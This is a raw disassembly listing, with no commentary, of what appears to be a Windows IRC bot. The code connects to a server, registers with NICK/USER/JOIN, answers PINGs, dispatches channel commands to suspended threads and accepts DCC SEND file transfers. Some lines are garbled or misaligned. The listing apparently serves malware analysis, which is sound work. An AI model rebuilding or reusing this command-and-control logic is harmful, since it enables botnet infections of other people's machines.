.text:004016B3      lea    eax, [ebp+var_6F4]
.text:004016B9      push   eax
.text:004016BA      call   sub_405608
.text:004016BF      mov    eax, esi
.text:004016C1      add    eax, 78h
.text:004016C4      push   eax
.text:004016C5      push   [ebp+name]
.text:004016CB      call   sub_405608
.text:004016D0      loc_4016D0:                                     ; CODE XREF: sub_40156D+143*j
.text:004016D0      mov    [ebp+var_CE0], 0
.text:004016DA      mov    [ebp+var_EB8], 0
.text:004016E4      lea    eax, [ebp+s]
.text:004016EA      mov    [ebp+var_410], eax
.text:004016F0      mov    [ebp+var_418], 0
.text:004016FA      lea    eax, [ebp+ThreadId]
.text:00401700      push   eax                                     ; lpThreadId
.text:00401701      push   4                                     ; dwCreationFlags
.text:00401703      lea    eax, [ebp+Parameter]
.text:00401709      push   eax                                     ; lpParameter
.text:0040170A      push   offset sub_402D68 ; lpStartAddress
.text:0040170F      push   0                                     ; dwStackSize
.text:00401711      push   0                                     ; lpThreadAttributes
.text:00401713      call   CreateThread
.text:00401718      mov    [ebp+var_CC8], eax
.text:0040171E      lea    eax, [ebp+var_FD8]
.text:00401724      push   eax                                     ; lpThreadId
.text:00401725      push   4                                     ; dwCreationFlags
.text:00401727      lea    eax, [ebp+Parameter]
.text:0040172D      push   eax                                     ; lpParameter
.text:0040172E      push   offset sub_402DE0 ; lpStartAddress
.text:00401733      push   0                                     ; dwStackSize
.text:00401735      push   0                                     ; lpThreadAttributes
.text:00401737      call   CreateThread
.text:0040173C      mov    [ebp+var_CD4], eax

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.text:00401742      lea     eax, [ebp+var_FDC]
.text:00401748      push   eax                ; lpThreadId
.text:00401749      push   4                  ; dwCreationFlags
.text:0040174B      lea     eax, [ebp+Parameter]
.text:00401751      push   eax                ; lpParameter
.text:00401752      push   offset sub_402E43 ; lpStartAddress
.text:00401757      push   0                  ; dwStackSize
.text:00401759      push   0                  ; lpThreadAttributes
.text:0040175B      call   CreateThread
.text:00401760      mov     [ebp+hThread], eax
.text:00401766      loc_401766:                ; CODE XREF: sub_40156D+17E5*j
.text:00401766      lea     eax, [ebp+var_FC4]
.text:0040176C      push   eax                ; lpThreadId
.text:0040176D      push   0                  ; dwCreationFlags
.text:0040176F      push   0                  ; lpParameter
.text:00401771      push   offset sub_402EBC ; lpStartAddress
.text:00401776      push   0                  ; dwStackSize
.text:00401778      push   0                  ; lpThreadAttributes
.text:0040177A      call   CreateThread
.text:0040177F      mov     [ebp+var_FC0], eax
.text:00401785      push   0                  ; protocol
.text:00401787      push   1                  ; type
.text:00401789      push   2                  ; af
.text:0040178B      call   socket
.text:00401790      mov     [ebp+s], eax
.text:00401796      cmp     eax, 0FFFFFFFFh
.text:00401799      jnz    short loc_4017A9
.text:0040179B      push   0                  ; dwExitCode
.text:0040179D      call   ExitThread
.text:004017A2      xor     eax, eax
.text:004017A4      jmp     loc_402D61
.text:004017A9      ; -----
.text:004017A9      loc_4017A9:                ; CODE XREF: sub_40156D+22C*j
.text:004017A9      push   [ebp+name]        ; name
.text:004017AF      call   gethostbyname
.text:004017B4      mov     [ebp+var_FAC], eax
.text:004017BA      or     eax, eax
.text:004017BC      jnz    short loc_4017E7
.text:004017BE      push   [ebp+s]           ; s
.text:004017C4      call   closesocket
.text:004017C9      mov     [ebp+s], 0
.text:004017D3      lea     eax, [ebp+var_7F0]
.text:004017D9      push   eax
.text:004017DA      call   sub_403AF6
.text:004017DF      add     esp, 4
.text:004017E2      jmp     loc_402D52
.text:004017E7      ; -----
.text:004017E7      loc_4017E7:                ; CODE XREF: sub_40156D+24F*j
.text:004017E7      mov     ecx, 4
.text:004017EC      xor     edi, edi
.text:004017EE      lea     eax, [ebp+var_E98]
.text:004017F4      xchg   eax, edi
.text:004017F5      repe stosd
.text:004017F7      mov     eax, [ebp+name]
.text:004017FD      movzxb eax, word ptr [eax+78h]
.text:00401801      push   eax                ; hostshort
.text:00401802      call   htons
.text:00401807      mov     [ebp+var_E96], ax
.text:0040180E      mov     [ebp+var_E98], 2
.text:00401817      mov     eax, [ebp+var_FAC]
.text:0040181D      mov     eax, [eax+0Ch]
.text:00401820      mov     eax, [eax]
.text:00401822      mov     eax, [eax]
.text:00401824      mov     [ebp+var_E94], eax
.text:0040182A      push   10h                ; namelen
.text:0040182C      lea     eax, [ebp+var_E98]
.text:00401832      push   eax                ; name

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.text:00401833      push    [ebp+s]          ; s
.text:00401839      call   connect
.text:0040183E      or     eax, eax
.text:00401840      jz     short loc_40186B
.text:00401842      push   [ebp+s]          ; s
.text:00401848      call   closesocket
.text:0040184D      mov    [ebp+s], 0
.text:00401857      lea   eax, [ebp+var_7F0]
.text:0040185D      push   eax
.text:0040185E      call   sub_403AF6
.text:00401863      add   esp, 4
.text:00401866      jmp    loc_402D52
.text:0040186B ; -----
.text:0040186B      loc_40186B:                ; CODE XREF: sub_40156D+2D3•j
.text:0040186B      push   77h
.text:0040186D      lea   eax, [ebp+Parameter]
.text:00401873      push   eax
.text:00401874      lea   eax, [ebp+var_50C]
.text:0040187A      push   eax
.text:0040187B      call   strncpy
.text:00401880      mov    [ebp+var_495], 0
.text:00401887      push   8
.text:00401889      push   2
.text:0040188B      call   sub_403B66
.text:00401890      push   eax
.text:00401891      lea   edi, [ebp+var_EB1]
.text:00401897      push   edi
.text:00401898      call   sub_403BB4
.text:0040189D      lea   eax, [ebp+var_6F4]
.text:004018A3      push   eax
.text:004018A4      lea   eax, [ebp+var_494]
.text:004018AA      push   eax
.text:004018AB      lea   eax, [ebp+var_EB1]
.text:004018B1      push   eax
.text:004018B2      lea   eax, [ebp+var_EB1]
.text:004018B8      push   eax
.text:004018B9      lea   eax, [ebp+var_EB1]
.text:004018BF      push   eax
.text:004018C0      lea   eax, [ebp+var_50C]
.text:004018C6      push   eax
.text:004018C7      push   offset aNickSUserSSSSJ ; "NICK :%s\nUSER %s %s %s :%s\n
nJOIN #%s\n"
.text:004018CC      lea   eax, [ebp+buf]
.text:004018D2      push   eax
.text:004018D3      call   sprintf
.text:004018D8      add   esp, 3Ch
.text:004018DB      lea   ecx, [ebp+buf]
.text:004018E1      or     eax, 0FFFFFFFFh
.text:004018E4      loc_4018E4:                ; CODE XREF: sub_40156D+37C•j
.text:004018E4      inc   eax
.text:004018E5      cmp   byte ptr [ecx+eax], 0
.text:004018E9      jnz   short loc_4018E4
.text:004018EB      push   0                  ; flags
.text:004018ED      push   eax                ; len
.text:004018EE      lea   eax, [ebp+buf]
.text:004018F4      push   eax                ; buf
.text:004018F5      push   [ebp+s]            ; s
.text:004018FB      call   send
.text:00401900      cmp   eax, 0
.text:00401903      jg    short loc_40192E
.text:00401905      push   [ebp+s]            ; s
.text:0040190B      call   closesocket
.text:00401910      mov    [ebp+s], 0
.text:0040191A      lea   eax, [ebp+var_7F0]
.text:00401920      push   eax
.text:00401921      call   sub_403AF6
.text:00401926      add   esp, 4
.text:00401929      jmp    loc_402D52

```

```

.text:0040192E ; -----
.text:0040192E
.text:0040192E loc_40192E: ; CODE XREF: sub_40156D+396*j
.text:0040192E      mov     ecx, 100h
.text:00401933      xor     edi, edi
.text:00401935      lea   eax, [ebp+buf]
.text:0040193B      xchg  eax, edi
.text:0040193C      repe stosd
.text:0040193E      jmp   loc_402CA6
.text:00401943 ; -----
.text:00401943 loc_401943: ; CODE XREF: sub_40156D+1754*j
.text:00401943      lea   ebx, [ebp+var_BF4]
.text:00401949      jmp   loc_402C8E
.text:0040194E ; -----
.text:0040194E loc_40194E: ; CODE XREF: sub_40156D+1723*j
.text:0040194E      push  0Ah
.text:00401950      push  ebx
.text:00401951      call  strchr
.text:00401956      add   esp, 8
.text:00401959      mov   esi, eax
.text:0040195B      or    eax, eax
.text:0040195D      jz    short loc_40196E
.text:0040195F      mov   byte ptr [esi], 0
.text:00401962      cmp   byte ptr [esi-1], 0Bh
.text:00401966      jnz   short loc_401975
.text:00401968      mov   byte ptr [esi-1], 0
.text:0040196C      jmp   short loc_401975
.text:0040196E ; -----
.text:0040196E loc_40196E: ; CODE XREF: sub_40156D+3F0*j
.text:0040196E      xor   ebx, ebx
.text:00401970      jmp   loc_402C96
.text:00401975 ; -----
.text:00401975 loc_401975: ; CODE XREF: sub_40156D+3F9*j
.text:00401975 ; sub_40156D+3FF*j
.text:00401975      mov   [ebp+var_588], esi
.text:0040197B      cmp   byte ptr [ebx], 3Ah
.text:0040197E      jz    short loc_401999
.text:00401980      push  1
.text:00401982      push  ebx
.text:00401983      call  sub_4040AF
.text:00401988      push  eax
.text:00401989      call  sub_403CB1
.text:0040198E      add   esp, 0Ch
.text:00401991      mov   [ebp+var_40C], eax
.text:00401997      jmp   short loc_4019B0
.text:00401999 ; -----
.text:00401999 loc_401999: ; CODE XREF: sub_40156D+411*j
.text:00401999      push  2
.text:0040199B      push  ebx
.text:0040199C      call  sub_4040AF
.text:004019A1      push  eax
.text:004019A2      call  sub_403CB1
.text:004019A7      add   esp, 0Ch
.text:004019AA      mov   [ebp+var_40C], eax
.text:004019B0 ; -----
.text:004019B0 loc_4019B0: ; CODE XREF: sub_40156D+42A*j
.text:004019B0      mov   eax, [ebp+var_40C]
.text:004019B6      cmp   eax, 1
.text:004019B9      jl    loc_402C3E
.text:004019BF      cmp   eax, 9
.text:004019C2      jg    loc_402C3E
.text:004019C8      jmp   dword_4081FC[eax*4]
.text:004019CF ; -----
.text:004019CF loc_4019CF: ; DATA XREF: .data:00408200*o

```

```

.text:004019CF                                     ; .data:00408204*o
.text:004019CF      push      1
.text:004019D1      push      ebx
.text:004019D2      call     sub_4040AF
.text:004019D7      add     esp, 8
.text:004019DA      mov     esi, eax
.text:004019DC      cmp     byte ptr [esi], 0
.text:004019DF      jz     loc_402C3E
.text:004019E5      push   21h
.text:004019E7      push   esi
.text:004019E8      call   strchr
.text:004019ED      add     esp, 8
.text:004019F0      mov     [ebp-408h], eax
.text:004019F6      or     eax, eax
.text:004019F8      jz     loc_401AC9
.text:004019FE      mov     byte ptr [eax], 0
.text:00401A01      lea    eax, [ebp-50Ch]
.text:00401A07      push   eax
.text:00401A08      mov     eax, esi
.text:00401A0A      inc     eax
.text:00401A0B      push   eax
.text:00401A0C      call   _strcmpi
.text:00401A11      add     esp, 8
.text:00401A14      or     eax, eax
.text:00401A16      jnz    short loc_401A44
.text:00401A18      push   3
.text:00401A1A      push   ebx
.text:00401A1B      call   sub_4040AF
.text:00401A20      add     esp, 8
.text:00401A23      push   77h
.text:00401A25      mov     edi, eax
.text:00401A27      inc     edi
.text:00401A28      push   edi
.text:00401A29      lea    edi, [ebp-50Ch]
.text:00401A2F      push   edi
.text:00401A30      call   strncpy
.text:00401A35      add     esp, 0Ch
.text:00401A38      mov     byte ptr [ebp-495h], 0
.text:00401A3F      jmp    loc_401AC9
.text:00401A44 ; -----
.text:00401A44 loc_401A44:                                     ; CODE XREF: sub_40156D+4A9*j
.text:00401A44      mov     eax, dword_4081D8
.text:00401A49      cmp     [ebp-414h], eax
.text:00401A4F      jnz    short loc_401A8E
.text:00401A51      mov     eax, esi
.text:00401A53      inc     eax
.text:00401A54      push   eax
.text:00401A55      call   sub_403C0A
.text:00401A5A      add     esp, 4
.text:00401A5D      or     eax, eax
.text:00401A5F      jz     short loc_401AC9
.text:00401A61      lea    edi, [ebp-50Ch]
.text:00401A67      push   edi
.text:00401A68      call   sub_403C0A
.text:00401A6D      add     esp, 4
.text:00401A70      or     eax, eax
.text:00401A72      jnz    short loc_401AC9
.text:00401A74      mov     eax, esi
.text:00401A76      inc     eax
.text:00401A77      push   eax
.text:00401A78      push   offset aNicks ; "NICK %s\n"
.text:00401A7D      lea    eax, [ebp+buf]
.text:00401A83      push   eax
.text:00401A84      call   sprintf
.text:00401A89      add     esp, 0Ch
.text:00401A8C      jmp    short loc_401AC9
.text:00401A8E ; -----
.text:00401A8E loc_401A8E:                                     ; CODE XREF: sub_40156D+4E2*j

```



```

.text:00401A8E      cmp     [ebp+var_418], 0
.text:00401A95      jnz    short loc_401AC9
.text:00401A97      lea   eax, [ebp+Parameter]
.text:00401A9D      push  eax                    ; const char *
.text:00401A9E      mov   eax, esi
.text:00401AA0      inc   eax
.text:00401AA1      push  eax                    ; const char *
.text:00401AA2      call  _strcmpi
.text:00401AA7      add   esp, 8
.text:00401AAA      or    eax, eax
.text:00401AAC      jnz   short loc_401AC9
.text:00401AAE      lea   eax, [ebp+Parameter]
.text:00401AB4      push  eax
.text:00401AB5      push  offset aNickS        ; "NICK %s\n"
.text:00401ABA      lea   eax, [ebp+buf]
.text:00401AC0      push  eax
.text:00401AC1      call  sprintf
.text:00401AC6      add   esp, 0Ch
.text:00401AC9      loc_401AC9:
.text:00401AC9      ; CODE XREF: sub_40156D+48B*j
.text:00401AC9      ; sub_40156D+4D2*j ...
.text:00401ACB      xor   esi, esi
.text:00401ACB      mov   [ebp+var_408], esi
.text:00401AD1      jmp   loc_402C3E
.text:00401AD6      ; -----
.text:00401AD6      loc_401AD6:
.text:00401AD6      ; DATA XREF: .data:00408208*o
.text:00401AD6      push  3
.text:00401AD8      push  ebx
.text:00401AD9      call  sub_4040AF
.text:00401ADE      add   esp, 8
.text:00401AE1      mov   esi, eax
.text:00401AE3      cmp   byte ptr [esi], 0
.text:00401AE6      jz    loc_402C3E
.text:00401AEC      push  1
.text:00401AEE      push  offset asc_40866C    ; "*"
.text:00401AF3      push  esi
.text:00401AF4      call  strncmp
.text:00401AF9      add   esp, 0Ch
.text:00401AFC      or    eax, eax
.text:00401AFE      jnz   short loc_401B3E
.text:00401B00      push  8
.text:00401B02      push  2
.text:00401B04      call  sub_403B66
.text:00401B09      add   esp, 8
.text:00401B0C      push  eax
.text:00401B0D      lea   edi, [ebp+var_50C]
.text:00401B13      push  edi
.text:00401B14      call  sub_403BB4
.text:00401B19      add   esp, 8
.text:00401B1C      lea   eax, [ebp+var_6F4]
.text:00401B22      push  eax
.text:00401B23      lea   eax, [ebp+var_50C]
.text:00401B29      push  eax
.text:00401B2A      push  offset aNickSJoinS  ; "NICK %s\nJOIN #%s\n"
.text:00401B2F      lea   eax, [ebp+buf]
.text:00401B35      push  eax
.text:00401B36      call  sprintf
.text:00401B3B      add   esp, 10h
.text:00401B3E      loc_401B3E:
.text:00401B3E      ; CODE XREF: sub_40156D+591*j
.text:00401B3E      xor   esi, esi
.text:00401B40      jmp   loc_402C3E
.text:00401B45      ; -----
.text:00401B45      loc_401B45:
.text:00401B45      ; DATA XREF: .data:0040820C*o
.text:00401B45      mov   eax, dword_4081D8
.text:00401B4A      cmp   [ebp-414h], eax
.text:00401B50      jnz   short loc_401B68
.text:00401B52      cmp   dword ptr [ebp-0CA8h], 0

```

```

.text:00401B59      jz      short loc_401B68
.text:00401B5B      push   dword ptr [ebp-0CA8h]
.text:00401B61      call   ResumeThread
.text:00401B66      jmp     short loc_401BAC
; -----
.text:00401B68      loc_401B68:      ; CODE XREF: sub_40156D+5E3*j
                    ; sub_40156D+5EC*j
.text:00401B68      mov     eax, dword_4081DC
.text:00401B6B      cmp     [ebp+var_414], eax
.text:00401B6D      jnz    short loc_401B8B
.text:00401B73      cmp     [ebp+var_CC8], 0
.text:00401B75      jz     short loc_401B8B
.text:00401B7C      push   [ebp+var_CC8] ; hThread
.text:00401B7E      call   ResumeThread
.text:00401B84      jmp     short loc_401BAC
; -----
.text:00401B8B      loc_401B8B:      ; CODE XREF: sub_40156D+606*j
                    ; sub_40156D+60F*j
.text:00401B8B      mov     eax, dword_4081E0
.text:00401B8B      cmp     [ebp+var_414], eax
.text:00401B90      jnz    short loc_401BAC
.text:00401B96      cmp     [ebp+var_CD4], 0
.text:00401B98      jz     short loc_401BAC
.text:00401B9F      push   [ebp+var_CD4] ; hThread
.text:00401BA1      call   ResumeThread
; -----
.text:00401BAC      loc_401BAC:      ; CODE XREF: sub_40156D+5F9*j
                    ; sub_40156D+61C*j ...
.text:00401BAC      mov     [ebp+var_41C], 1
.text:00401BB6      mov     eax, dword_4081D8
.text:00401BBB      cmp     [ebp+var_414], eax
.text:00401BC1      jnz    short loc_401C09
.text:00401BC3      lea    eax, [ebp+var_50C]
.text:00401BC9      push   eax
.text:00401BCA      call   sub_403C0A
.text:00401BCF      add    esp, 4
.text:00401BD2      or     eax, eax
.text:00401BD4      jz     short loc_401C09
.text:00401BD6      push   2
.text:00401BD8      push   ebx
.text:00401BD9      call   sub_4040AF
.text:00401BDE      add    esp, 8
.text:00401BE1      lea    edi, [ebp+var_67C]
.text:00401BE7      push   edi
.text:00401BE8      lea    edi, [ebp+var_6F4]
.text:00401BEE      push   edi
.text:00401BEF      push   eax
.text:00401BF0      push   offset aPongSJoinSS ; "PONG %s\nJOIN %s,%s\n"
.text:00401BF5      lea    edi, [ebp+buf]
.text:00401BFB      push   edi
.text:00401BFC      call   sprintf
.text:00401C01      add    esp, 14h
.text:00401C04      jmp     loc_402C3E
; -----
.text:00401C09      loc_401C09:      ; CODE XREF: sub_40156D+654*j
                    ; sub_40156D+667*j
.text:00401C09      push   2
.text:00401C0B      push   ebx
.text:00401C0C      call   sub_4040AF
.text:00401C11      lea    edi, [ebp+var_6F4]
.text:00401C17      push   edi
.text:00401C18      push   eax
.text:00401C19      push   offset aPongSJoinS ; "PONG %s\nJOIN %s\n"
.text:00401C1E      lea    edi, [ebp+buf]
.text:00401C24      push   edi
.text:00401C25      call   sprintf
.text:00401C2A      add    esp, 18h

```

```

.text:00401C2D          jmp          loc_402C3E
.text:00401C32          ; -----
.text:00401C32          loc_401C32:          ; DATA XREF: .data:00408210.o
.text:00401C32          cmp         dword ptr [ebp-0CCCh], 0
.text:00401C39          jz         loc_401D4C
.text:00401C3F          push      0FFFFFFFCh
.text:00401C41          push      ebx
.text:00401C42          call     sub_4040AF
.text:00401C47          push      9
.text:00401C49          push     offset aDccSend ; "DCC SEND "
.text:00401C4E          mov      edi, eax
.text:00401C50          add      edi, 2
.text:00401C53          push     edi
.text:00401C54          call     strncmp
.text:00401C59          add      esp, 14h
.text:00401C5C          or       eax, eax
.text:00401C5E          jnz     loc_401D4C
.text:00401C64          xor      ecx, ecx
.text:00401C66          inc      ecx
.text:00401C67          xor      edi, edi
.text:00401C69          lea     eax, [ebp+var_CA0]
.text:00401C6F          xchg    eax, edi
.text:00401C70          repe stosd
.text:00401C72          push     6
.text:00401C74          push     ebx
.text:00401C75          call     sub_4040AF
.text:00401C7A          add      esp, 8
.text:00401C7D          push     27h
.text:00401C7F          push     eax
.text:00401C80          lea     edi, [ebp+var_C94]
.text:00401C86          push     edi
.text:00401C87          call     strncpy
.text:00401C8C          add      esp, 0Ch
.text:00401C8F          push     7
.text:00401C91          push     ebx
.text:00401C92          call     sub_4040AF
.text:00401C97          add      esp, 8
.text:00401C9A          push     0
.text:00401C9C          push     0
.text:00401C9E          push     eax
.text:00401C9F          call     strtoul
.text:0040CA4          add      esp, 0Ch
.text:0040CA7          mov     [ebp+var_C9C], eax
.text:0040CAD          push     8
.text:0040CAF          push     ebx
.text:0040CB0          call     sub_4040AF
.text:0040CB5          add      esp, 8
.text:0040CB8          push     eax
.text:0040CB9          call     atoi
.text:0040CBE          add      esp, 4
.text:0040CC1          mov     [ebp+var_CA0], eax
.text:0040CC7          push     9
.text:0040CC9          push     ebx
.text:0040CCA          call     sub_4040AF
.text:0040CCF          add      esp, 8
.text:0040CD2          push     1
.text:0040CD4          push     eax
.text:0040CD5          call     strchr
.text:0040CDA          add      esp, 8
.text:0040CDD          mov     esi, eax
.text:0040CDF          or      eax, eax
.text:0040CE1          jz      short loc_401CE6
.text:0040CE3          mov     byte ptr [esi], 0
.text:0040CE6          loc_401CE6:          ; CODE XREF: sub_40156D+774.j
.text:0040CE6          push     9
.text:0040CE8          push     ebx
.text:0040CE9          call     sub_4040AF
.text:0040CEE          mov     esi, eax

```

```

.text:00401CF0      push      0
.text:00401CF2      push      0
.text:00401CF4      push      esi
.text:00401CF5      call     strtoul
.text:00401CFA      add      esp, 14h
.text:00401CFD      mov     [ebp+var_C98], eax
.text:00401D03      mov     eax, [ebp+var_CA0]
.text:00401D09      or      eax, eax
.text:00401D0B      jz      loc_402C3E
.text:00401D11      cmp     eax, 0FF4Bh
.text:00401D16      jnb     loc_402C3E
.text:00401D1C      cmp     [ebp+var_C9C], 0
.text:00401D23      jz      loc_402C3E
.text:00401D29      lea    eax, [ebp+var_FB0]
.text:00401D2F      push    eax                ; lpThreadId
.text:00401D30      push    0                  ; dwCreationFlags
.text:00401D32      lea    eax, [ebp+var_CA0]
.text:00401D38      push    eax                ; lpParameter
.text:00401D39      push    offset sub_404283 ; lpStartAddress
.text:00401D3E      push    0                  ; dwStackSize
.text:00401D40      push    0                  ; lpThreadAttributes
.text:00401D42      call   CreateThread
.text:00401D47      jmp     loc_402C3E
.text:00401D4C      ; -----
.text:00401D4C      loc_401D4C:                ; CODE XREF: sub_40156D+6CC*j
.text:00401D4C                        ; sub_40156D+6F1*j
.text:00401D4C                        ; DATA XREF: ...
.text:00401D4C      push    1
.text:00401D4E      push    ebx
.text:00401D4F      call   sub_4040AF
.text:00401D54      add    esp, 8
.text:00401D57      mov    esi, eax
.text:00401D59      cmp    byte ptr [esi], 0
.text:00401D5C      jz     loc_402C3E
.text:00401D62      push   40h
.text:00401D64      push   esi
.text:00401D65      call   strchr
.text:00401D6A      add    esp, 8
.text:00401D6D      mov    [ebp+var_408], eax
.text:00401D73      or     eax, eax
.text:00401D75      jz     loc_402C3E
.text:00401D7B      inc    [ebp+var_408]
.text:00401D81      mov    [ebp+var_4], 0
.text:00401D88      loc_401D88:                ; CODE XREF: sub_40156D+859*j
.text:00401D88      mov    eax, [ebp+var_4]
.text:00401D8B      mov    edx, [ebp+var_408]
.text:00401D91      cmp    byte ptr [edx+eax], 20h
.text:00401D95      jz     short loc_401DB2
.text:00401D97      cmp    byte ptr [esi+eax], 0
.text:00401D9B      jz     short loc_401DB2
.text:00401D9D      mov    eax, [ebp+var_4]
.text:00401DA0      mov    edx, [ebp+var_408]
.text:00401DA6      mov    dl, [edx+eax]
.text:00401DA9      mov    [ebp+eax+var_600], dl
.text:00401DB0      jmp    short loc_401DBF
.text:00401DB2      ; -----
.text:00401DB2      loc_401DB2:                ; CODE XREF: sub_40156D+828*j
.text:00401DB2                        ; sub_40156D+82E*j
.text:00401DB2      mov    eax, [ebp+var_4]
.text:00401DB5      mov    [ebp+eax+var_600], 0
.text:00401DBD      jmp    short loc_401DC8
.text:00401DBF      ; -----
.text:00401DBF      loc_401DBF:                ; CODE XREF: sub_40156D+843*j
.text:00401DBF      inc    [ebp+var_4]
.text:00401DC2      cmp    [ebp+var_4], 78h
.text:00401DC6      jl     short loc_401D88

```

```

.text:00401DC8
.text:00401DC8 loc_401DC8:                                     ; CODE XREF: sub_40156D+850•j
.text:00401DC8
.text:00401DCA
.text:00401DCB
.text:00401DD0
.text:00401DD3
.text:00401DD9
.text:00401DD9
.text:00401DD9
.text:00401DDB
.text:00401DE1
.text:00401DE7
.text:00401DEA
.text:00401DEC
.text:00401DEE
.text:00401DEF
.text:00401DF0
.text:00401DF6
.text:00401DF7
.text:00401DFC
.text:00401E03
.text:00401E05
.text:00401E06
.text:00401E0B
.text:00401E0E
.text:00401E10
.text:00401E13
.text:00401E19
.text:00401E1B
.text:00401E1D
.text:00401E1E
.text:00401E1F
.text:00401E25
.text:00401E26
.text:00401E2B
.text:00401E32
.text:00401E34
.text:00401E3A
.text:00401E3B
.text:00401E41
.text:00401E42
.text:00401E47
.text:00401E4D
.text:00401E4E
.text:00401E54
.text:00401E55
.text:00401E5A
.text:00401E5D
.text:00401E5F
.text:00401E61
.text:00401E63
.text:00401E64
.text:00401E69
.text:00401E6C
.text:00401E6E
.text:00401E71
.text:00401E73
.text:00401E74
.text:00401E7A
.text:00401E7F
.text:00401E82
.text:00401E88
.text:00401E8A
.text:00401E90
.text:00401E92
.text:00401E98
.text:00401E9E
.text:00401E9F
.text:00401EA4
.text:00401EAB
.text:00401EB1
    push    21h
    push    esi
    call   strchr
    add    esp, 8
    mov    [ebp+var_408], eax
    or     eax, eax
    jz     loc_402C3E
    mov    eax, [ebp+var_408]
    mov    byte ptr [eax], 0
    push  18h
    mov    eax, esi
    inc   eax
    push  eax
    lea   eax, [ebp+var_CC1]
    push  eax
    call  strncpy
    mov   [ebp+var_CA9], 0
    push  4
    push  ebx
    call  sub_4040AF
    add   esp, 14h
    mov   esi, eax
    cmp  byte ptr [esi], 0
    jz   loc_402C3E
    push 18h
    mov  eax, esi
    inc  eax
    push eax
    lea  eax, [ebp+var_C6C]
    push eax
    call strncpy
    mov  [ebp+var_C54], 0
    xor  esi, esi
    lea  eax, [ebp+var_600]
    push eax
    lea  eax, [ebp+var_C6C]
    push eax
    call sub_401347
    lea  eax, [ebp+var_7E4]
    push eax
    lea  eax, [ebp+var_C6C]
    push eax
    call _strcmpi
    add  esp, 1Ch
    or   eax, eax
    jnz  short loc_401ECA
    push 5
    push ebx
    call sub_4040AF
    add  esp, 8
    mov  esi, eax
    cmp  byte ptr [esi], 0
    jz   short loc_401EC3
    push esi
    push [ebp+var_E84]
    call sub_405366
    add  esp, 8
    mov  [ebp+var_CA4], eax
    or   eax, eax
    jz   loc_402C3E
    push 77h
    push [ebp+var_CA4]
    lea  eax, [ebp+var_76C]
    push eax
    call strncpy
    mov  [ebp+var_6F5], 0
    push [ebp+var_CA4]
    call free

```

```

.text:00401EB6      add     esp, 10h
.text:00401EB9      mov     [ebp+var_CA4], 0
.text:00401EC3
.text:00401EC3 loc_401EC3:      ; CODE XREF: sub_40156D+904•j
.text:00401EC3      xor     esi, esi
.text:00401EC5      jmp     loc_402C3E
.text:00401ECA      ; -----
.text:00401ECA      loc_401ECA:      ; CODE XREF: sub_40156D+8F2•j
.text:00401ECA      lea    eax, [ebp+var_76C]
.text:00401ED0      push   eax ; const char *
.text:00401ED1      lea    eax, [ebp+var_C6C]
.text:00401ED7      push   eax ; const char *
.text:00401ED8      call   _strcmpi
.text:00401EDD      add    esp, 8
.text:00401EE0      or     eax, eax
.text:00401EE2      jnz    loc_402C3E
.text:00401EE8      push   5
.text:00401EEA      push   ebx
.text:00401EEB      call   sub_4040AF
.text:00401EF0      add    esp, 8
.text:00401EF3      mov    esi, eax
.text:00401EF5      cmp    byte ptr [esi], 0
.text:00401EF8      jz     loc_402C3E
.text:00401EFE      push   esi
.text:00401EFF      push   [ebp+var_E84]
.text:00401F05      call   sub_405366
.text:00401F0A      add    esp, 8
.text:00401F0D      mov    [ebp+var_CA4], eax
.text:00401F13      or     eax, eax
.text:00401F15      jz     loc_402C3E
.text:00401F1B      xor    esi, esi
.text:00401F1D      push   1
.text:00401F1F      push   [ebp+var_CA4]
.text:00401F25      call   sub_4040AF
.text:00401F2A      push   eax ; const char *
.text:00401F2B      call   sub_403DBD
.text:00401F30      mov    [ebp+var_CD0], eax
.text:00401F36      push   3
.text:00401F38      push   ebx
.text:00401F39      call   sub_4040AF
.text:00401F3E      add    esp, 14h
.text:00401F41      mov    esi, eax
.text:00401F43      movsx  eax, byte ptr [esi]
.text:00401F46      or     eax, eax
.text:00401F48      jz     short loc_401F68
.text:00401F4A      cmp    eax, 23h
.text:00401F4D      jnz    short loc_401F68
.text:00401F4F      push   18h
.text:00401F51      push   esi
.text:00401F52      lea    eax, [ebp+var_CC1]
.text:00401F58      push   eax
.text:00401F59      call   strncpy
.text:00401F5E      add    esp, 0Ch
.text:00401F61      mov    [ebp+var_CA9], 0
.text:00401F68      loc_401F68:      ; CODE XREF: sub_40156D+9DB•j
.text:00401F68      ; sub_40156D+9E0•j
.text:00401F68      xor    esi, esi
.text:00401F6A      mov    eax, [ebp+var_CD0]
.text:00401F70      cmp    eax, 0Bh
.text:00401F73      jl     loc_402A8D
.text:00401F79      cmp    eax, 25h
.text:00401F7C      jg     loc_402A8D
.text:00401F82      jmp    dword_4081F8[eax*4]
.text:00401F89      ; -----
.text:00401F89      loc_401F89:      ; DATA XREF: .data:00408224•o
.text:00401F89      lea    eax, [ebp-0CC1h]
.text:00401F8F      push   eax

```

```

.text:00401F90      push      offset aPrivmsgSctcpNi ; "PRIVMSG %s :ctcp <nick> PING
848348, he"...
.text:00401F95      lea      eax, [ebp+buf]
.text:00401F9B      push    eax
.text:00401F9C      call    sprintf
.text:00401FA1      add     esp, 0Ch
.text:00401FA4      jmp     loc_402AAF
.text:00401FA9 ; -----
.text:00401FA9      loc_401FA9:                                ; DATA XREF: .data:00408228.o
.text:00401FA9      mov     eax, dword_4081D8
.text:00401FAE      cmp     [ebp-414h], eax
.text:00401FB4      jnz    short loc_401FCB
.text:00401FB6      lea    eax, [ebp-50Ch]
.text:00401FBC      push   eax
.text:00401FBD      call   sub_403C0A
.text:00401FC2      pop    ecx
.text:00401FC3      or     eax, eax
.text:00401FC5      jnz    loc_402AAF
.text:00401FCB      loc_401FCB:                                ; CODE XREF: sub_40156D+A47.j
.text:00401FCB      mov     eax, dword_4081D8
.text:00401FD0      cmp     [ebp-414h], eax
.text:00401FD6      jz     short loc_401FF6
.text:00401FD8      lea    eax, [ebp-584h]
.text:00401FDE      push   eax
.text:00401FDF      lea    eax, [ebp-50Ch]
.text:00401FE5      push   eax
.text:00401FE6      call   _strcmpi
.text:00401FEB      add     esp, 8
.text:00401FEE      or     eax, eax
.text:00401FF0      jz     loc_402AAF
.text:00401FF6      loc_401FF6:                                ; CODE XREF: sub_40156D+A69.j
.text:00401FF6      push   2
.text:00401FF8      push   dword ptr [ebp-0CA4h]
.text:00401FFE      call   sub_4040AF
.text:00402003      add     esp, 8
.text:00402006      cmp    byte ptr [eax], 0
.text:00402009      jz     short loc_402035
.text:0040200B      push   3
.text:0040200D      push   dword ptr [ebp-0CA4h]
.text:00402013      call   sub_4040AF
.text:00402018      add     esp, 8
